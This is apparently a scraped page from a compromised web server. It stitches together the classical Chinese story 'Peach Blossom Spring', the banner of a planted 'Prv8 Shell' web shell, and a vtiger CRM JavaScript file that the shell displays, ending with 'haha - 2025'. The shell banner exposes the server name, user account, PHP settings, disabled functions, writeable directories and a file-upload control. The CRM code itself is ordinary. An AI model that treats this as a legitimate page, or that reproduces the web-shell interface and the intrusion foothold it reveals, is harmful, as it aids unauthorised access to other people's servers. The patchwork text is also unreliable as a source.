晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/vlayout/modules/Settings/Vtiger/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/layouts/vlayout/modules/Settings/Vtiger/resources/ConfigEditor.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

jQuery.Class("Settings_Vtiger_ConfigEditor_Js",{},{
	
	/*
	 * Function to save the Configuration Editor content
	 */
	saveConfigEditor : function(form) {
		var aDeferred = jQuery.Deferred();
		
		var data = form.serializeFormData();
		var updatedFields = {};
		jQuery.each(data, function(key, value) {
			updatedFields[key] = value;
		})
		
		var params = {
			'module' : app.getModuleName(),
			'parent' : app.getParentModuleName(),
			'action' : 'ConfigEditorSaveAjax',
			'updatedFields' : JSON.stringify(updatedFields)
		}
		AppConnector.request(params).then(
			function(data) {
				aDeferred.resolve(data);
			},
			function(error,err){
				aDeferred.reject();
			}
		);
		return aDeferred.promise();
	},
	
	/*
	 * Function to load the contents from the url through pjax
	 */
	loadContents : function(url) {
		var aDeferred = jQuery.Deferred();
		AppConnector.requestPjax(url).then(
			function(data){
				aDeferred.resolve(data);
			},
			function(error, err){
				aDeferred.reject();
			}
		);
		return aDeferred.promise();
	},
	
	/*
	 * function to register the events in editView
	 */
	registerEditViewEvents : function() {
		var thisInstance = this;
		var form = jQuery('#ConfigEditorForm');
		var detailUrl = form.data('detailUrl');
		
		//register all select2 Elements
		app.showSelect2ElementView(form.find('select.select2'), {dropdownCss : {'z-index' : 0}});
		
		//register validation engine
		var params = app.validationEngineOptions;
		params.onValidationComplete = function(form, valid){
			if(valid) {
				var progressIndicatorElement = jQuery.progressIndicator({
					'position' : 'html',
					'blockInfo' : {
						'enabled' : true
					}
				});
				thisInstance.saveConfigEditor(form).then(
					function(data) {
						var params = {};
						if(data['success']) {
							params['text'] = app.vtranslate('JS_CONFIGURATION_DETAILS_SAVED');
							thisInstance.loadContents(detailUrl).then(
								function(data) {
									progressIndicatorElement.progressIndicator({'mode':'hide'});
									jQuery('.contentsDiv').html(data);
									thisInstance.registerDetailViewEvents();
								}
							);
						} else {
							progressIndicatorElement.progressIndicator({'mode':'hide'});
							params['text'] = data['error']['message'];
							params['type'] = 'error';
						}
						Settings_Vtiger_Index_Js.showMessage(params);
					},function(error, err) {
						progressIndicatorElement.progressIndicator({'mode':'hide'});
					}
				);
				return valid;
			}
		}
		form.validationEngine(params);
		
		form.submit(function(e) {
			e.preventDefault();
		})
		
		//Register click event for cancel link
		var cancelLink = form.find('.cancelLink');
		cancelLink.click(function() {
			var progressIndicatorElement = jQuery.progressIndicator({
				'position' : 'html',
				'blockInfo' : {
					'enabled' : true
				}
			});
			thisInstance.loadContents(detailUrl).then(
				function(data) {
					progressIndicatorElement.progressIndicator({'mode':'hide'})
					jQuery('.contentsDiv').html(data);
					thisInstance.registerDetailViewEvents();
				}
			);
		})
	},
	
	/*
	 * function to register the events in DetailView
	 */
	registerDetailViewEvents : function() {
		var thisInstance = this;
		var container = jQuery('#ConfigEditorDetails');
		var editButton = container.find('.editButton');
		
		//Register click event for edit button
		editButton.click(function() {
			var url = editButton.data('url');
			var progressIndicatorElement = jQuery.progressIndicator({
				'position' : 'html',
				'blockInfo' : {
					'enabled' : true
				}
			});
			thisInstance.loadContents(url).then(
				function(data) {
					progressIndicatorElement.progressIndicator({'mode':'hide'});
					jQuery('.contentsDiv').html(data);
					thisInstance.registerEditViewEvents();
				}, function(error, err) {
					progressIndicatorElement.progressIndicator({'mode':'hide'});
				}
			);
		});
	},
	
	registerEvents: function() {
		if(jQuery('#ConfigEditorDetails').length > 0) {
			this.registerDetailViewEvents();
		} else {
			this.registerEditViewEvents();
		}
	}

});

jQuery(document).ready(function(e){
	var tacInstance = new Settings_Vtiger_ConfigEditor_Js();
	tacInstance.registerEvents();
})

Vtiger_WholeNumberGreaterThanZero_Validator_Js("Vtiger_NumberRange5_Validator_Js",{
	
	/**
	 *Function which invokes field validation
	 *@param accepts field element as parameter
	 * @return error if validation fails true on success
	 */
	invokeValidation: function(field, rules, i, options){
		var rangeInstance = new Vtiger_NumberRange5_Validator_Js();
		rangeInstance.setElement(field);
		var response = rangeInstance.validate();
		if(response != true){
			return rangeInstance.getError();
		}
	}
	
},{
	/**
	 * Function to validate the percentage field data
	 * @return true if validation is successfull
	 * @return false if validation error occurs
	 */
	validate: function(){
		var response = this._super();
		if(response != true){
			return response;
		}else{
			var fieldValue = this.getFieldValue();
			if (fieldValue < 1 || fieldValue > 5) {
				var errorInfo = app.vtranslate('JS_PLEASE_ENTER_NUMBER_IN_RANGE_1TO5');
				this.setError(errorInfo);
				return false;
			}
			return true;
		}
	}
});

Vtiger_WholeNumberGreaterThanZero_Validator_Js("Vtiger_NumberRange100_Validator_Js",{

	/**
	 *Function which invokes field validation
	 *@param accepts field element as parameter
	 * @return error if validation fails true on success
	 */
	invokeValidation: function(field, rules, i, options){
		var rangeInstance = new Vtiger_NumberRange100_Validator_Js();
		rangeInstance.setElement(field);
		var response = rangeInstance.validate();
		if(response != true){
			return rangeInstance.getError();
		}
	}
	
},{
	/**
	 * Function to validate the percentage field data
	 * @return true if validation is successfull
	 * @return false if validation error occurs
	 */
	validate: function(){
		var response = this._super();
		if(response != true){
			return response;
		}else{
			var fieldValue = this.getFieldValue();
			if (fieldValue < 1 || fieldValue > 100) {
				var errorInfo = app.vtranslate('JS_PLEASE_ENTER_NUMBER_IN_RANGE_1TO100');
				this.setError(errorInfo);
				return false;
			}
			return true;
		}
	}

})

haha - 2025